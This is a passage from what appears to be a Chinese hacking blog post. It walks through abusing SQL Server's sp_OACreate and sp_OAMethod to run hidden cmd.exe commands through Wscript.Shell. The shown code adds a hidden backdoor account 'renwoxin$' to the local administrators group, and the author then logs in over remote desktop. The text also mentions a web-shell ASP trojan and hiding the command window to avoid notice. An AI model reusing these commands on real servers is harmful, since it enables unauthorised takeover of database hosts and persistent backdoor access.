Xplog70.dll
Xplog70.dll
小提示：上面语句的详细解释是：
用Sp_OACreate创建OLE 对象Wscript.Shell的令牌。
用Sp_oamethod调用Wscript.Shell的Run方法来执行CMD语句，添加用户renwoxin$，密码为test。“0”和“true”是RUN方法的参数：“0”可选。表示程序窗口外观的整数值，表示语句执行时隐藏CMD窗口，如果不加的话，在服务器上会有一个DOS窗口闪一下，容易暴露；“true”可选。布尔值，表示在继续执行脚本中的下一条语句之前，脚本是否等待执行完程序。如果设为True，则在执行完程序后才执行脚本，RUN方法返回由程序返回的任何错误代码。如果设为False（默认值），则RUN方法将自动在启动程序后立即返回0（不是错误代码）。
上面的代码执行后，SQL查询分析器返回一个0值，这表示执行成功了，再将renwoxin$提升为管理员：
DECLARE @cmd INT
EXEC sp_oacreate ‘wscript.shell’,@cmd output
EXEC sp_oamethod @cmd,’run’,null,’cmd.exe /c net localgroup administrators renwoxin$ /add’,’0′,’true’
这次又返回一个0值，还等什么，赶快从3389连过去看看，顺利进入！大家肯定会想到这个RUN可以执行几乎所有的CMD命令，只是如果你要看到结果，就需要自己构造表来存储了，大家可以发挥自己的想象力了！
找到SQL安装目录下的Binn文件夹，发现其中的Xplog70.dll果然被删除了。再检查一下，用GetWebShell提交的ASP木马，内容居然是乱码！反正是不能执行，到现在我还是想不通是为什么，希望大侠们能著文传授。到此文章也该结束了，希望能尽快看到大侠们的文章。
评论(0)